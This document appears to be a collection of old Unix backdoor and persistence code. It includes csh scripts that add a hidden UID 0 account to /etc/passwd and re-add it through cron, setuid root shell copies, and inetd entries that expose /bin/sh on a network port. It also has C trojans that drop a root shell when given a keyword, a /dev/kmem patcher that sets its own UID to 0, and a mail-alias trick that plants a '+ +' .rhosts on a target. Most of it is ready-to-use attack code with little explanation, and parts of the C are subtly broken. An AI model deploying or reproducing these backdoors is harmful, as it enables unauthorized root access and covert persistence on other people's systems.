#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# codemobile@yahoo.com

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd

daytime stream tcp nowait rootinternal

daytime stream tcp nowait /bin/sh sh-i

(1) (2)/(3) (4)
smtp 25/tcp mail

evil 22/tcp evil

evil stream tcp nowait /bin/sh sh -i

(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb

0 0 * * * /usr/bin/trojancode

#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.com

set evilflag = (`grep eviluser/etc/passwd`)

if($#evilflag == 0) then # Is hethere?

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

else
endif

29 2 * * */bin/usr/sneakysneaky_passwd

#echo "root:1234567890123:0:0:Operator:/:/bin/csh"> /var/spool/mail/.sneaky

#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd

#include

#define KEYWORD "industry3"
#define BUFFERSIZE 10

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){ /* we've got an argument, is it the keyword? */

if(!(strcmp(KEYWORD,argv[1]))){

/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */

"decode:"|/usr/bin/uudecode"

#! /bin/csh

# Create our .rhosts file. Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

%echo "+ +" |/usr/bin/uuencode /root/.rhosts | mail decode@target.com

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);

if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}

userlocation=address();
where=(lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}

printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);

userpage.u_ruid=0;
userpage.u_rgid=0;

where=lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}

write(fd,&userpage,((char *)&(userpage.u_procp))-((char*)&userpage));

execle("/bin/csh","/bin/csh","-i",(char *)0,envp);
}
}

} /* End main */


#define LNULL ((LDFILE *)0)

long address(){

LDFILE *object;
SYMENT symbol;
long idx=0;

object=ldopen("/unix",LNULL);

if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}

for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}

fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}

chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before